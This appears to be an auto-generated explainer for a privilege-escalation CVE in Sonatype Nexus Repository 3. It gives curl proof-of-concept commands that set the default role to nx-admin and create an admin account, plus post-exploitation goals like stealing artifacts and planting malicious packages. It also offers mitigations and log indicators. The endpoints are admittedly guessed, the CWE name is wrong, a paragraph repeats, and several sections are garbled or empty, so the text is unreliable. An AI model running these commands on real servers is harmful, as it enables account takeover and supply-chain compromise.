CVE-2026-113367 — Sonatype Nexus Repository 3 — CWE-1220
Sonatype Nexus Repository 3 uses a single permission that is too broad to control the Default Role capability. A user who holds only the capabilities create or update permission can create or change this capability and gain administrator-level access to the instance. The change persists across restarts.
Sonatype Nexus Repository 3 uses a single permission that is too broad to control the Default Role capability. A user who holds only the capabilities create or update permission can create or change this capability and gain administrator-level access to the instance. The change persists across restarts.
🎯 What is this vulnerability?
CVE-2026-113367 is a Broken Access Control vulnerability (CWE-1220: Insecure Default Permissions) in Sonatype Nexus Repository 3.
The core technical flaw lies in the granularity of the permission model for the "Default Role" capability. In Nexus Repository 3, the "Default Role" determines the initial role assigned to new users upon registration or creation. This is a highly sensitive configuration because it dictates the baseline privilege level for all future users.
The vulnerability exists because a single, overly broad permission (likely nexus:roles:read or a generic nexus:settings:update scope that is not properly segregated from role management) allows a user with only create or update capabilities on specific resources to modify the Default Role setting.
Specifically:
1. Missing Check: The API endpoint responsible for updating the default role configuration does not verify if the authenticated user has the specific nexus:roles:admin or nexus:settings:admin privilege. Instead, it relies on a broader permission that is granted to lower-privileged users (e.g., users who can create repositories or manage their own profiles).
2. Privilege Escalation Path: By changing the "Default Role" to nx-admin (or a custom role with admin privileges), any subsequent user creation (including self-registration if enabled, or creation by the attacker via the user management API if they have nexus:users:create) will result in a new user with Administrator privileges.
3. Persistence: The change is stored in the Nexus configuration database (H2 or external DB), meaning it persists across service restarts, making the compromise permanent until manually reverted.
CVSS 4.0 Vector Analysis:
- AV:N/AC:L/AT:N/PR:L/UI:N: Network-exploitable, low complexity, no user interaction, requires low privileges (authenticated user).
- VC:H/VI:H/VA:N: High impact on Confidentiality and Integrity (full admin access allows reading all artifacts and modifying configurations), no direct Availability impact (though admin could delete repos, the vector specifies VA:N).
- PR:L: The attacker must already have a valid account with limited permissions (e.g., a developer or guest account).
- Fingerprinting: Identify the target as Sonatype Nexus Repository 3. * Check HTTP headers:
- Credential Acquisition: Obtain valid credentials for a low-privileged user (e.g., a developer account with
nexus:repositories:createornexus:users:readbut notnexus:admin). This could be via:
* Default credentials (if not changed).
* Compromised developer credentials.
* Self-registration (if enabled) to get a basic user account.
⚡ Attack Chain
1. Discovery & Reconnaissance
Server: Nexus or X-Nexus-Id.
* Access /service/rest/v1/status or /service/rest/v1/security/realms to confirm version and active security realm.
* Check /service/rest/v1/repositories to confirm it is a repository manager.
2. Exploitation
The attacker uses the Nexus REST API to modify the default role. The exact endpoint for managing security settings in Nexus 3 is typically under/service/rest/v1/security/.Illustrative PoC (Note: Exact endpoint path may vary slightly by minor version, but the logic is consistent):
The attacker sends a PUT or POST request to the security configuration endpoint to change the defaultRole to nx-admin.
# Step 1: Authenticate and get a session token (if using token-based auth)
# Or use Basic Auth directly in the header.
# Step 2: Modify the Default Role to 'nx-admin'
# The endpoint for updating security settings is typically:
# /service/rest/v1/security/settings
curl -X PUT "http://<target>:8081/service/rest/v1/security/settings" \
-u "low_priv_user:password" \
-H "Content-Type: application/json" \
-d '{
"defaultRole": "nx-admin",
"anonymousAccessEnabled": false
}'Alternative Path (If direct settings update is blocked):
If the settings endpoint is protected, the attacker might exploit a flaw in the User Creation API if it allows specifying the role at creation time, or if the "Default Role" is applied during a user update. However, the CVE description specifically states "create or change this capability," implying the configuration change is the primary vector.
3. Post-Exploitation
1. Create Admin User:curl -X POST "http://<target>:8081/service/rest/v1/security/users" \
-u "low_priv_user:password" \
-H "Content-Type: application/json" \
-d '{
"userId": "attacker_admin",
"firstName": "Attacker",
"lastName": "Admin",
"emailAddress": "[email protected]",
"password": "Str0ngP@ssw0rd!",
"roles": ["nx-admin"]
}'Note: Even if the roles field is ignored, if the defaultRole was changed to nx-admin, the new user will be assigned nx-admin automatically.
2. Login as Admin:
curl -X GET "http://<target>:8081/service/rest/v1/security/users/attacker_admin" \
-u "attacker_admin:Str0ngP@ssw0rd!"3. Full Control:
* Read All Artifacts: Access all repositories, including private ones, to exfiltrate source code, binaries, or sensitive data.
* Modify Repositories: Change repository policies, delete artifacts, or inject malicious packages (supply chain attack).
* Manage Users: Create additional backdoor admin accounts.
* Change Configurations: Modify security realms, disable authentication, or change proxy settings to redirect traffic.
🌍 Real World Impact
🛡️ Remediation & Mitigation
1. Patching
defaultRole cannot be changed by non-admin users.2. Workarounds (If immediate patching is not possible)
/service/rest/v1/security/ endpoints for non-admin users.location /service/rest/v1/security/ {
# Allow only admin IPs or require additional authentication
allow 10.0.0.0/8;
deny all;
}anonymousAccessEnabled is set to false to prevent unauthenticated access.nx-admin users have the ability to modify security settings. Remove any broad permissions (e.g., nexus:settings:update) from non-admin roles.3. Detection (IoCs)
PUT or POST requests to /service/rest/v1/security/settings or /service/rest/v1/security/users from non-admin users.192.168.1.100 - - [02/Dec/2026:10:00:00 +0000] "PUT /service/rest/v1/security/settings HTTP/1.1" 200 0defaultRole setting or creation of new users with the nx-admin role.nx-admin role, especially if the creator is not an existing admin.⚠️ Urgency
Conclusion: This vulnerability allows a low-privileged user to escalate to full administrator access, leading to complete compromise of the artifact repository. It is a high-priority issue that requires immediate attention.
[🤖 CVE Professor AI Security Engine]
FOFA Query